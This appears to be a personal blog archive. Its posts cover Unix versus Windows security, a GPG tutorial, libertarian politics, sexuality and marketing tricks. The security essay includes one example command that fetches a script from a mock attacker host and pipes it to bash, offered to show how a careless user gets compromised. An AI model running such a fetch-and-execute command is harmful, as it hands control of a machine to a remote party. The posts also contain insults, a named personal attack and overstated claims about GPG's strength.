Anarchist Without Objectives

Rambling: Unix, Windows, and Security

I've become more and more interested in computer security the more I've read about it. The principles and practices are fascinating. And the theories about why some observable phenomona occur are at least thought provoking.

Here's my short tract on why Unix is more secure than Windows.

To start off, 99% of the lowest 50% on the technical literacy scale use Windows. It's not their fault, they just don't know any better. You need to know enough about computers to know that Macs have advantages over Windows to want a Mac, and you need at least moderate computer usage skill to get anything else on your computer. This means that almost all of the least competent users are using Windows.

Technical competence of the user is the SINGLE BIGGEST FACTOR in the security of any particular system. Consider that if you give an idiot an OpenBSD system (possibly the most secure in the world) and set it up for him and lock him out of configuring anything outside his home directory, there's no guarantee he won't come back to you and say "I was trying to get youtube working and now my files are gone/the computer runs slow/I keep getting popups/Whenever I copy a file it gets deleted/etc. Because even if the user is restricted to their little home folder, all that someone needs to have control of that system is to get the person to run a command like "wget -o - http://skript.kidiz.net/pwnbox.sh | bash -" and then there's no telling what corruption can happen within that profile. The last time I regularly used Windows XP, the only good protection I had was my router (being behind a NAT increases security), and I had no issues at all. (For perfect honesty I also had spybot, but I rarely ran scans, they never found anything, and I never got alerts about registry changes unless I actually changed something.)

Now, computers are dumb. Like cars. They have no idea what you're thinking, they just do what they're told. So who tells your computer what to do other than you? Well, the people that wrote your operating system.

Windows was originally concieved as a single-user operating system, simply a platform to run applications from floppies and later CD's. In such a world, Windows would have been a fairly good operating system, with few and likely easily fixable security issues which would have required hardware access to the machine anyways.

Unix was designed as a multi-user operating system. It shows in various ways, one of the most obvious being the filesystem permissions system (Unix has different read/write/execute permission sets for the user that owns the file, the group that owns it, and what just anyone can do to it). This design lent itself well when networking started to become more and more important. It certainly helped that the original TCP/IP stack was written for BSD (a Unix distribution). It was possible to have network services (such as ftp, telnet, and http servers) run distinct from each other. In a typical modern Unix system, there are various default accounts that the user will never log in with, such as "ftp", "nobody", "daemon", "sys", and many others. There's also the administration-only user, "root". Unix leverages this multiuser permissions system to increase it's security. Even if the ftp server was open to a vulnerability that allowed an intruder to run code, the code would only be executable as the "ftp" user, and thus could not change the startup scripts or delete important files (except the files that the "ftp" user owned, which in practice meant only the things the ftp server required being able to read and write in order to run).

The idea of a single-user system though, is that the program can do whatever it wants, seeing as "only the user would be telling the computer what to do". The computing landscape has changed drastically since then, especially with the rise of the internet. Once you network this system, a single security flaw can let anyone on the network tell that computer what to do, unhindered. After all, "only the user would be telling the computer what to do". The assumption fails in a networking context. Things were better in the NT>2000>XP>Vista line than in the 95>98>ME line, but many problems continued because Microsoft wanted to maintain backward-compatibility.

This leads to the next problem, which is open vs closed source. In this particular context, backward compatibility is necessary because Windows programs are very often distributed ONLY as binaries, the most specific and inflexible instructions that a computer can be given (binaries are extremely difficult to modify without breaking a program, but they are the only thing a computer really understands). You can't change just one little thing without being careful, otherwise it may break an application that depends on it. In the open source world, this isn't a huge issue. Open source means you can see the more high-level instructions that the computer is being given, and change it easily if necessary due to some change in the system. Open source software is more flexible in this regard. Open source software is not just written, compiled, and released, with the creators then being free to sit back and make money off it. Open source software is invariably an ongoing project, and the maintainers make sure that the program works on as many platforms as possible. They have automated the process of building the flexible source code into an executable binary depending on the environment that the binary will be built in. A different binary will be produced if a different function library is present, or a different compiler is available, or the application must run on a different kernel. The process of building it determines what it needs to build depending on what has changed, and builds it so that it works.

Windows must maintain binary compatibility, the most rigid and inflexible kind, requiring that what might now be recognized as bad decisions must still be followed, lest the programs fail to run properly. Unix, in the vast majority of the case, needs to maintain only source compatibility. And even then it is fairly loose, as programmers who prefer different platforms will often "port" a program, change the source code so that it runs on the system that they want it to. The whole system is quite free to grow and develop and change. Something that looked like a good idea 10 years ago may be a stupid idea and a security hole now. Unix systems can fix these problems more easily.

What this means is that old Windows bugs die hard, and new Unix bugs are solved usually within days of their discovery, and often with around an hour of programmer time spent on it.

This leads me right into my next point, repositories. Most free Unices (plural of Unix) have a repository, or a few repositories, for software packages. This is necessary because each system works slightly differently, and the program needs slight modifications to make it run on each system. FreeBSD has a system called "ports". Gentoo has a similar system based on FreeBSD's system, which is called "portage". Ubuntu has a program called Synaptic to manage software. OpenSolaris has pkg. OpenBSD has pkg_add. The iPhone (yes, it runs a variant of Unix) has the App Store, or Cydia if you jailbreak it.

These repositories are trustworthy resources for applications. The programs available in them are (with a few exceptions) free and open-source. To install software, a user often needs to do nothing more than open the package management software, check a box, and click apply. The package manager checks the versions of everything and if there is an incompatibility, the user is notified, and often directed as to what action must be taken to fix it. If there aren't any problems, the package manager, depending how it works will either download a binary and install it, or will download the source code, apply any "patches" needed to make the source code compile into a binary that fits the system, and then installs the binary made from that.

Software management in Windows is comparatively atrocious, dirty, and insecure, requiring first determining what you want a program to do, then looking for a program that merely promises to do that in a place where claims need not be verified and cannot be second-guessed, internet advertising. The Windows user then downloads an executable and runs it. The novice Unix user is not used to running applications from untrusted sources as a normal course of using their computer. The novice Windows user is. The novice Windows user is also rarely if ever warned not to run their normal user account as an administrator. Only recently did Microsoft address this by having even administrator accounts run as regular users and only when necessary would temporarily become the Administrator. It is the literal truth that Windows users execute arbitrary code as root and don't think twice. The repository model is far more secure than Windows' model.

To make things equivalent, the open source method is similar to requiring different versions of a program depending whether you have Windows XP or Windows Vista. The way closed-source software is distributed makes this extremely impractical. On the other hand, for Unix, maintaining backward compatibility is impractical for the purposes many of these systems need to do. Unix is an extremely flexible family of operating systems, running on everything from toasters to cellphones to Roadrunner (currently the world's fastest supercomputer) and everything in between. For the toaster version of Unix (I'm thinking of NetBSD) to have all the same things as the version of Linux running on Roadrunner would simply be stupid. Putting enough hardware in a toaster to run the same networking stack as Roadrunner is obviously impractical. Windows, by contrast, rarely has to run on anything less powerful than a netbook these days. And for what are called "embedded" applications like cellphones, even Microsoft has to make big enough changes to break backward compatibility. You can't run Windows Mobile applications on Xbox, nor run Xbox games on PCs (at least not without "porting" them).

There's no technological reason why Unix couldn't maintain perfect backward compatibility as it kept growing forward. In fact, Sun's Solaris operating system tries to do just that. It's worth noting that a few years ago, Sun released an open-source version of Solaris, called OpenSolaris. While Sun will continue to maintain Solaris and it's backward compatibility with earlier Solaris applications, OpenSolaris has no such requirement in it's releases. Likewise, there's no technological reason why Windows couldn't maintain repositories. What determines this isn't what is technologically possible. The source model tends to direct a project in one direction or another, either toward repositories of ports or toward one-size-fits-all.

I'm just saying that it is neither a coincidence nor a direct causal law that open source projects come up with more secure ways to do things than closed-source ones.

So you can imagine it frustrates me when people say that the main reason Unix doesn't have all these viruses and worms and spyware and adware is because it's too small to pay attention to. Unix is more secure because of the way it is developed. It's more secure because of the way it was originally designed. There is idea, and then there is implementation. It is fallacious to say that the only ways Unix could be more secure than Windows are an effect of popularity, as it is implying that security only exists in implementation. This is not the case.

A rarely used retort which should be obvious is that a single server can be worth well more than a thousand desktops and laptops. What do you think a cracker would rather have control of, your underpowered Vista-burdened desktop with a DSL connection, or a server in a data center with a gigabit Internet connection, probably hosting a MySQL database with possibly sensitive information? It's obvious that the people saying these things think that the only computers that exist are desktops and laptops full of pictures of people's kids and their favorite music and their favorite games. That's all they've ever seen, so that's all the crackers have ever seen. And as Windows is all that they know, they cannot imagine a system so different from Windows as to be more secure in anything but implementation. The crackers are not after sheer numbers of machines. While numbers are good, they also evaluate the value of each specific machine. In short, why would they target your limited Vista desktop rather than some of the Bank of America's Solaris machines? If Unix is more secure only in implementation, as implied, why would they so prevailing go after the small fish when the big prize lays in the equally insecure Unix system?

The user is what makes or breaks the security of a system.

(The word "cracker" was used in this work to mean the same thing as the colloquial meaning of "hacker". However, "hacker" has multiple meanings and not always negative, for instance, a "white hat" hacker is not belligerent or malignant. "Cracker" on the other hand is never used positively.)

Beware of Morons

From: http://reviews.cnet.co.uk/roryreid/0,139101702,49294707,00.htm

Open-source anti-virus -- the silent killer

People recommend I use open-source software all the time. The Nate Lanxons of this world extol the virtues of Ubuntu and OpenOffice as if these apps were their own offspring. They tell me the programs are free, easily available and in many cases just as effective as their commercial counterparts.

For the most part, I agree -- except where security is concerned. The idea of entrusting the safety and integrity of my data to a piece of software cobbled together by spotty teenagers and smelly men who prioritise facial hair over bodily hygiene is extremely insulting to me. I'd rather hire a rabid pit-bull as a babysitter.

In my opinion, the open-source model simply doesn't work for something as fast-moving and potentially catastrophic as malware. Whereas commercial vendors such as Trend Micro and Symantec have hordes of software engineers in different time zones writing new signature files within minutes of a new virus appearing, Mr Open Source Developer is more likely to put it off until he's finished eating his doughnut and picking his nose. By that time, you're more infected than a teenager in an STI walk-in clinic.

Sure, Linux users aren't that likely to get viruses in the first place, but many Linux file and mail servers pump venom to the Windows boxes they service -- like carriers of a digital disease. And don't talk to me about heuristic scanning, because that's about as effective as a life raft made of cheesecake.

Linux versions of commercial anti-virus applications do exist, but I'm guessing nobody really uses them. Linux users are so deeply oblivious to the dangers of the common virus, and so averse to the concept of actually paying for software, that many simply won't bother.

Think of this as a wake-up call. If you're running Windows and decide to use open-source anti-virus programs such as Clam AntiVirus or ClamWin, you're an idiot. Plain and simple. If the predictions of some anti-virus companies (yes, they're biased, but I did say 'if' -- here's an argument against) come to fruition and Linux becomes targeted by virus makers en masse, the open-source community may not be there to save you. They'll be too busy coding themselves a virtual girifriend.

Thoughts on My Sexuality

I have this mental filter that I use, where I look for ideas, strip them down to their essentials, compare them to other things, and decide if it's a particularly useful distinction by itself. If it isn't, I separate it out and put it in a separate mental compartment. I use this primarily to determine what is actually worth valuing and what isn't. It is fortunate that I only think about things that are important to me, as it allows me to filter out any stupid values I might have had.

I've thrown out a lot of potential subjects to be valued like this. This box is populated with concepts like "decency", "virginity", "sacredness", "humanity", "identity as a(n) [insert label]", and a whole lot of other things like these.

I get the feeling somehow that the most I could do with this technique is to sort of "emulate" wanting something I actually don't and that would make me act irrationally or against my own interests. Except I haven't seen this to actually happen. It's actually changing the way I think about things and what I want. I'm glad for it, too. I should figure out where I get this feeling from though.

It's a sort of testament to how powerful this has been at changing the way I value things that I think this is what turned me from, in an assumptive and possibly self-fulfilling sense, straight, to bisexual. If bisexual is even the right word for it. "Non-exclusive" is my preferred description of it, but I don't go around labeling myself.

A person's gender and sex are things I've ended up throwing away as a particular value after passing them through this filter. I keep the concepts themselves around to understand how others think, but they aren't important to me beyond this. In a sense I've become virtually blind to a person's sex in my attraction to them, and as far as gender I can't pick a preference between them without pointing out specific characteristics of masculinity and femininity, which will obviously exist to varying degrees in different people, rendering the distinctions themselves virtually useless in application.

Actually I think of masculine/feminine to be as false a dichotomy as the plaid/polkadot dichotomy. They aren't natural and complementary opposites, they're just mutually exclusive definitions. I don't even think in terms of masculine and feminine, they're useful as words, but useless as ideas.

The way I approach things now, I'm not attracted to men, I'm not attracted to women, I'm attracted to people, irrelevant of sex, gender, species, and race.

I have a personal bias toward "male" and "female" instead of "man" and "woman". "Man" means more than just "human with a penis". It implies masculinity. The same holds for "woman". I really prefer the more concise terms "male" and "female". They're so concise that engineers use them to describe interfacing components.

When I see a very masculine man, it doesn't do anything for me. Worse yet when they're imperfectly masculine and trying to be more masculine. I don't find it attractive at all. I find it deceptive. I find the preoccupation with masculinity, which I've discarded as something valuable in itself, to demonstrate a deeper preoccupation with illusion over substance. The same holds for extremely feminine women, especially ones that are making an evident conscious effort to be ideally feminine. I could never be attracted to someone I knew was bulimic or wore a corset to try to look good. But they'll find some equally shallow-minded partner and be as happy as two such people can be, I suppose.

I honestly couldn't get turned on by just appearances. Behavior I can find erotic no matter who is doing it, but simple physical appearance does nothing. I don't get off on pictures of genitalia, there's got to be behavior implied, otherwise I see it fit only for an anatomy textbook. Supposedly "provocative" clothing provokes nothing from me. I couldn't get turned on at a nude beach full of pornstars unless they're demonstrating their trade.

There's certain things I like about masculinity. Strength, toughness, confidence, productivity, I like those sorts of things. There's also things I like about femininity. Compassion, nurturing, teaching, I like those. There's things I dislike about both, too. Aggressiveness, passivity, arrogance, dependence, those sorts of things. I like strong, confident, independent females as much as males, and compassionate, caring males as much as females. But lumping these characteristics all into two piles and calling them "masculine" and "feminine" seems stupid to me. The only thing that strength and productivity have in common with each other and don't have in common with nurturing and teaching is that two are associated with manly men and two are associated with womanly women.

I like people who are content to just be people, and just be their natural, honest, free, independent selves.

Shut Up Already

Reading libertarian discussion for me has become like reading a book, then a crappy sequel, followed by a crappier sequel, followed by the worst sequel yet, followed by the worst sequel ever. There's enough people out there talking about why "free healthcare" doesn't work and they're right, it doesn't, but you aren't doing a whole lot of good with that trillion-cell megaprocessor in your skull if all you can do is give outputs identical to the inputs.

Why does government program X suck? It's a countereffective, immoral, expensive, arbitrary, inefficient, and competition-killing bureaucracy driven by political posturing and run by idiots. Of course, this describes every government program ever in the history of the world. Let's not go over this shit again.

We all know by now that taxation is bad, regulation is bad, tariffs are bad, quotas are bad, subsidies are bad, and prohibition is bad. When we forget this, in case we ever do, it doesn't take a lot of time at Mises.org to remember this, since they seem so eager to hammer it in at times. Let's not go over this shit again.

The state is a logically indefensible institution containing countless unresolvable contradictions. Corporations are legal fictions granting limited liability. Okay, we know this. Shut up.

I had the minarchy/anarchy debate. A few times. I'm bored of it. I don't gain any greater understanding of the world by arguing it anymore. I stopped arguing anarchy/minarchy when I stopped getting something valuable out of it. I'm way past getting anything out of that debate. I'm way past getting anything out of arguments from the efficiency of the market. I've learned probably 98% of what there is to know about these things, and the last 2% is stuff that nobody else knows either.

Fuck it.

There's a lot of stuff we don't know, or worse, stuff we don't know that we think we do. This is where the emphasis belongs. We don't all understand libertarian class theory. We don't all know the history of anarchism. We don't all know how to turn all our valuable libertarian insights into something concrete. We don't all know our own contradictions. Why are these things never addressed by libertarians? Why are libertarians too busy rehashing the infinitely hashed? Why do libertarians love beating the dead horse to death?

Let's figure out what we don't know. Let's talk to people with ideas we aren't familiar with. Let's look for our own contradictions, instead of other people's contradictions. Let's do something new.

But if you're not gonna help, shut up already.

Illustrated Guide to GPG for Noobs

This is just a guide I'm making to show people I know how to learn GPG well enough that they can use it and figure out the rest from there. So I'm going to do everything in as easy a way as possible. If you are looking for advanced information about the command line GPG, put "man gpg" into the terminal or check the website.

First off, GPG is an open-source program based on PGP. GPG stands for "GNU Privacy Guard", PGP stands for "Pretty Good Privacy". It's used for encryption and signatures with are, for all practical purposes, unbreakable and unforgable, unless somebody gets their hands on your password or your secret key (don't give those out, by the way).

Before doing anything else you need to have the program and have a key pair. If you have any modern distribution of Linux there's a good chance GPG is already installed on it. No distribution I have tested does not include it. There is also a version for Windows, but the Linux version is better.

In Linux, GPG has two frontends that I have used: Kgpg (for KDE) and GPGP (for GNOME). The basic program, in it's original and most powerful form, is command-line based.

In Windows, I do not know of a fully-featured command-line version of GPG. The version of Gpg4Win I used provided me with Windows Privacy Tray as a frontend.

All three are similar enough in their general usage that it won't take much adaptation to do what you want based on this guide. But this one focuses on Kgpg, which is my favorite and in my opinion, the easiest.

Now, if you've got your GPG frontend open, you'll see something that looks roughly like this:



I believe most GPG frontends will detect on the first run that you don't have any keys, and will give you a prompt to make one. So make one, you'll need it. If you aren't prompted for one, you can look through the menu options and find "Generate Key Pair".



This should bring you to the same dialog you'd get if it had detected zero keys, which looks like this.



Fill out all the information you have to, and click OK. You'll be asked for a password:



And upon clicking OK again, you'll probably see a few random characters appearing and disappearing in a small window as it generates your key. It might be there for a little bit, but it'll be gone in 2 minutes at most, and give you this message:



If so, great, you've got yourself a key pair.

You get two keys when using GPG or PGP. One is your public key, the other is your private key. You give others your public key.

In encryption, someone encrypts a message with your public key. Now there's only one way to decrypt it, and that's using your private key.

In signatures, you sign a message with your private key. In order to check the signature, someone else uses your public key.

Whenever you use your private key, you'll be asked for your password. When you decrypt something or sign it, you need your password. Now I'll show you how to do that.

After clicking OK again, you'll be back at your key management window.



The bold key is the default. So now you've got your keys. But nobody else has your public key. So you need to send it to them. But to do that you need to get it.




In Kgpg you get these options. I haven't used email, but I assume it emails the key to someone else. Clipboard will "copy" it so that you can "paste" it somewhere else. Default key server is self-explanatory. File will save it to a text file where you tell it to. The ".asc" extension means it's an ASCII format text file.

Whatever method of output you use, send the key to somebody else who has or may soon get GPG. Post it on a forum. Send it to them in an email. Put it on your website. Whatever you want. Then you can start actually using GPG.

Now, you probably have two windows with these frontends:



The top window is the key manager, the second window is the editor. You use this second window to actually do your encyption and signing, where the real fun begins.

Type the message you want to encrypt or sign. In this case, I typed "Hello world!".

If you both encrypt and sign a file (you don't have to do both), you should sign it first, then encrypt. Not only does it make a much nicer, neat little block of text, it also makes it easier for the recipient to decrypt and see a signed message, than to get the encrypted message out of the signed block and then decrypt it. Sign first, then encrypt.

So let's sign it. Click the "Sign/Verify" button. You'll get this window:



Only private keys will be listed. If you have only one private key and a hundred public keys of other people, you'll only see your key here. So pick the key you want to use, and click OK.



Signing a message requires your private key, which means you need to use your password. The editor window will now show something similar to this:



Now your message is signed so that anyone with your public key can verify that you did indeed type this. With this signed message in hand, you can now post on forums full of assholes that keep editing your posts to make you look like a moron, and if they tamper with any part of it, someone checking the signature will know. You can also check the signature yourself. Click the "Sign/Verify" button again and you'll get something like this:



Unless you've modified the text, you should get a confirmation message.

Now that you've signed the file, let's encrypt it. You don't have to sign before encrypting, but if you do sign, do it before encrypting instead of after.

Click the "Encrypt" button.



When you encrypt something, it uses someone else's public key. Because it's not using a private key, you won't be asked for a password. Choose whoever you want to encrypt it for, and click OK.



Now your message is encrypted, and ready to be sent through the security gauntlet of internet tubes. You can encrypt this encrypted message if you want, but since the default GPG cipher can't be cracked, it won't do you any good, and it'll annoy the recipient.

Whenever you get an encrypted message, it'll look something like this. Suppose you're the recipient of this message. You can now decrypt it with your private key. Click "Decrypt". The recipient is specified in the encrypted block of text, so you won't get a menu of keys to choose from. Decryption needs your secret key, though, so you will be asked for a password.



And now the message is decrypted, and you can check the signature to verify the sender. If you decrypt any message you find that uses your public key, keep in mind that anyone can get your public key, including people you don't know.


That's all you really need to know about using GPG for simple text-based communications. You can also encrypt files, encrypt to a non-ASCII file (I find ASCII to be more convenient), and do symmetrical encryption. Unfortunately the last time I used Gpg4Win, it didn't have an option for symmetrical encryption.

Symmetrical encryption in Kgpg is under the "Details" button at the encryption prompt. Symmetrical encryption does not use keys. Instead it bases the encryption scheme on a password you give it. Anyone with the password can decrypt it. This is less secure but more convenient if you're frequently sending messages to several of the same people at once.

If you want to get into the command line, you surrender ease-of-use for an amazingly powerful and flexible encryption tool. Frontends are designed to work well with what most people do with these programs, and they do that well.

So there you go. GPG for noobs.


While playing with it I noticed that the unencrypted copy of George Orwell's 1984 that I have in text format is about 587k. A symmetrically encrypted copy is about 320k, and a copy encrypted with my public key is 291k. So GPG will also compress files (quite well!) when encrypting them.

BSD

I'm in BSD now. It's Unix. Feels a lot like Linux. Wonder why.

I'm using PC-BSD. It's a version of FreeBSD.

I might need to relearn a bit on the CLI because the default here is csh and I'm used to bash. I guess I could change it to bash if I needed too, I saw the option for it.

So far it's failed to operate at the correct screen resolution (1280x1024) and it won't detect my sound output device, so I have no sound. I also seem to have minor connectivity issues, such as failures to connect to blogger.com when doing autosaves and when trying to IM in Kopete. It works when I actually go to publish the post though. I think. If you can read this, that means it went through. Otherwise I'd go back and correct myself before I posted it.

Testing for FSK

This post was made with "Compose Mode" disabled (because that's my default post editing setting and I forgot how to change it. There's also a setting in "Settings" that lets you turn of "convert line breaks automatically" that should help).

This table is copied from the source of fskrealityguide.blogspot.com as of 2007-02-11 21:15:00, but with all instances of "< br />" deleted and no line breaks added (as blogger would automatically re-add them). If my theory is right this should appear exactly two hard-returns below this period.

Fed Funds Rate3.0%
3 month2.2%
6 month2.02%
2 year1.9%
3 year1.9%
5 year2.68%
10 year3.65%
30 year4.45%

Backlash

Today, reading some forums, I noticed something. Something changed.

Ron Paul's chances for presidency were destroyed in the most evident and obvious manner it possibly could on February fifth. Since then, the messages I'm seeing posted about the means to liberty have taken a sudden, unexpected, and fortunate turn toward dropping out, starving the state, and building up an alternative among the populus rather than in the state. The backlash has begun.

Among the posts is an excellent one by John Shaw on the Free Talk Live forum. Here's most of it. It was a response to the resident Randroid's rather sudden change to anarchism and a call to Shrug.

Yeah, it's shrug time. Has been for a while. (Ron Paul is going to finally cement it for a lot of people, I guess.)

I gave up after Harry Browne, personally, but I'm a little older, and started the Libertarian path quite a bit younger than a lot of people.

The conclusion I came to was that, AnCap or Minarchist doesn't matter at this point, because the system is falling apart. Every injection of faith in the system, like hopeful elections and economic upswings are just delaying the process. I may have been incorrect on one thing; People getting their hopes up and having them dashed (Ian's "Political Burnout") may well start to influence people to drop out of the system who wouldn't have otherwise. In that sense the Ron Paul thing might have been helpful.

I have my doubts though. Death throes of a nation can take a hell of a long time. So long as there is blood and a heartbeat, the vampires will feed.

Get away from places where government is strong, and develop skills that will help you reduce your dependencies on other people as much as possible. Clashing with the police state leaves a fine red mist and one less freedom lover.

The FSP probably isn't much help, the more I think about it, because they seem to be centered around propping up the system mostly. Voting, running for office, and generally justifying the existence of local governments. The activists are mostly interested in getting horribly persecuted as publicly and as often as possible. I don't think they are "Bad" like a lot of people, I just know that getting your ass thrown into prison over and over again loses you credibility with the people you are trying to convince.

Having said that, moving to Hew Hampshire isn't a bad idea in the sense of building a little solidarity with like minded people. If a bunch of people are moving there who are liberty lovers, well, it might be a good place to live. Go for it. It probably won't hurt, at least.

The system has got to go. No matter what the replacement is, AnCapistan or Minarchitopia or dictatorship of the purple helmeted yogurt slingers. The fruit has to fall and rot for a new seed to grow. Stop attaching chains to the side of the fruit. Stop attaching parachutes to slow its descent. Stop bolting on springs to cushion the impact. Stop spraying vitamin C to hide the blemishes, and for crying out loud, stop eating bad fruit. Bury your ass in a seed or get as far away as possible before it rots out.

Then we can worry about whether or not enough stolen government taxes to pick up garbage and shoot murderers is a crime against humanity.

There are going to be problems. There have always been problems. Some people are going to jump the gun and start sawing away at fruit stems. They're gonna advocate violence. Then they'll find suckers to implement violence. We rational people can't stop them. There will be people who will pigheadedly breathe their last breath trying to save the system. No abomination will ever be foul enough to make them get up off their sofa and take any action. They're the poor schmucks who will try fleeing the cities with an SUV, a crate of bottled water, and a box of beef jerky. We rational people can't stop them either.

No words will convince a man bent on killing not to kill, and no words will convince a pussy to grow a pair before it's too late. You can't help these people and they certainly can't help you. Get away from them.

Don't die in the streets like a mad dog, or under your bed like a cowering child. Remain rational.

Go to New Hampshire. Or go someplace else that's relatively safe. Do what you have to do and do it on your own terms, because you want to, not because some dipshit propagandist badgered you into it. Build your gulch someplace, where you have as little contact with your enemy as possible. Avoid their attention. Do what you have to do to not be noticed. Don't antagonize them and expect not to have a fight. And if you decide to have your fight, don't fucking drag anybody else down with you.

For some people, doing this includes paying some taxes. Get over it. For some people it's worth it to pay off the enemy in exchange for their life. Maybe they place some value on it or something. Calling them traitors isn't gonna do a damned thing but alienate the only friends you might have, if you are an AnCap. Or go ahead. No skin off my back.

Let the natural process take its course. Let the fruit fall in its own time. Don't waste your time involving yourself in things you can't effect. Or go right ahead. It's not my funeral. But if you love your life, treat it like something you love. Nurture it.

Keep your powder dry, avoid bad people. Wait it out and have a good of a time as you can doing so. It would really suck to look back on your life, realize that it will be long after you're dead that this whole thing is even going to happen, (The great collapse, whatever. Everybody thinks that something big and monumentally astounding is going to happen during their lives. It usually doesn't.) and see that your entire life was wasted holding up a bad apple.


There are also several smaller posts around the forum where people are realizing the hopelessness of politics and advocating the dropout. This is such a welcome sight. More libertarians than in recent memory, and possibly ever, are skeptical of the claim that you can use use civilized means to get civilization from the uncivilized, turn an institution of aggresion into one of justice, or shrink a parasite of such nature that it always grows. I just hope it lasts.

Selfpwnt.

Some retards were trying to generate end of the world hysteria by saying today was the end of the world on youtube. See video, and notice every comment has been marked as spam and comments have been disabled. Isn't that nice of them? As soon as it's clear as day that you're wrong, you erase everything. Brilliant.

http://youtube.com/watch?v=1_Y6L9-VmK8

Lies, damned lies, and marketing.

You should read into the stupid shit marketers do to get you to buy shit.

Right now I'm looking for a webcam. There are too many idiots on youtube to not talk back to, and comments suck. I live near a Radioshack, so I went to Radioshack's website to see what webcams they have and which to avoid. (Note: I did not go to google and type in "webcams" for reasons that will become apparent soon.) I found the following review. As you read it, try to guess who was writing it:

I Purchased this item for my wife so she can chat with her family in thge P.I. This webcam never shows dark shadows with it's rightlight technology & you don't get that annoying echo sound when speaking to someone because of the rightsound technology. It comes with alot of software so you can do many things with this camera. Also my 2yr old son loves taking his own photos with the camera.


It's almost funny how poorly disguised this is to someone that knows how to see it. Someone from Logitech posted a fake review on the Radioshack website. And they didn't hide it very well. It's like the marketing guy just decided one day to put a fake review up to improve sales. If you didn't see it before, read it again. Especially the way the idiot marketer uses (probably copyrighted, patented, and trademarked) "rightlight technology...rightsound technology". Legitimate customers don't bother naming the technologies because they don't give a shit; they just want it to work (except in a few rare cases like gaming consoles and other things people get extremely fanboyish about). Compare these two:

"Works. Installed easily, sharp picture. Would recommend."

"Love it! Easy installation with the included CD-ROM. Compatible with Windows 98 and up. Perfect for talking to friends on Skype. I recommended it to my parents and brother, they love it too!"

Notice: Name dropping. Uncontainable excitement. Present tense. Suggested use.

For a short time I looked into internet marketing. I saw the tricks of the marketing trade, the recommendations about how to manipulate people to make them click the "BUY NOW ONLY $27" button or the "YES! Subscribe me for only $4.95 per month!" Everyone should read this shit. Once you know how it works, it stops working on you. Marketing is all about bullshitting. Honest marketers cannot survive, they need lies, gimmicks, lies, misrepresentations, lies, scare tactics, lies, and even lies in order to get people to buy shit. Unless the honest marketer is a fucking genius pioneer in marketing techniques and reaching likely buyers more effectively than anybody else, they're going nowhere but broke, and even then, other marketers will just rip off the technique and use it themselves.

AOL has this hilariously bad but disgustingly effective tactic for keeping AOL users on AOL. I don't know if they still use it, but I'm inclined to believe they do. I don't have AOL and never will, so I couldn't call to cancel if I wanted. First, whoever at AOL picks up the phone when you call them to cancel, has specific instructions: DO NOT LET THEM CANCEL. Instead, their job is to figure out why you're cancelling and then show you that you are wrong to cancel because see that's not a bug it's actually a feature, or "look lemme just give you two free months and you can make your decision at the end of another two months, don't be rash, etc."

Did I mention you should read into the stupid shit marketers pull to get you to buy stuff?

Taors is gonna hate me for this, because he got really mad at me last time I mentioned it. This is his website (click me). On this website, which is pretty bad for an internet marketing campaign, he uses several of the internet marketer's tricks. I use his website as an example of what kind of site NOT to buy from. It reeks of marketing. The use of color to emphasize text. The quotes (which are all bullshit, just look at the sources: all websites full of other internet marketers). The bills in a woman's hand at the top. The checkmarks by the feature list. The threat that the book could go up to $39 at any time. The idea that buying the book brings you into an exclusive insider club of book scouters. The "forbidden fruit" of the "closely guarded secrets". Promises of independence and profits, later defaulted on in the earnings disclaimer.

I'm not jeopardizing a single sale of his by posting this. Even if I become the top hit for bookscoutingsuccess.com on every search engine. Because the kind of people that buy from websites like this are the kind of people that are too stupid to do any independent research or verification of claims.

I know Taors. He's a pothead slacker dropout from Kentucky who spends his time posting stupid immature one-offs on libertarian forums. He's no businessman. He's no entrepreneur. He doesn't even have the technical competence to put his own website together (see bottom for the name of the designer). What does his website say about him? He's a book scouter who used the income from this lucrative opportunity to fund a vacation to New Hampshire last year, and now he's offering you nothing less for the low, low introductory price of only $27!

And let me say it again. You should read into the stupid shit marketers pull to get you to buy their shit.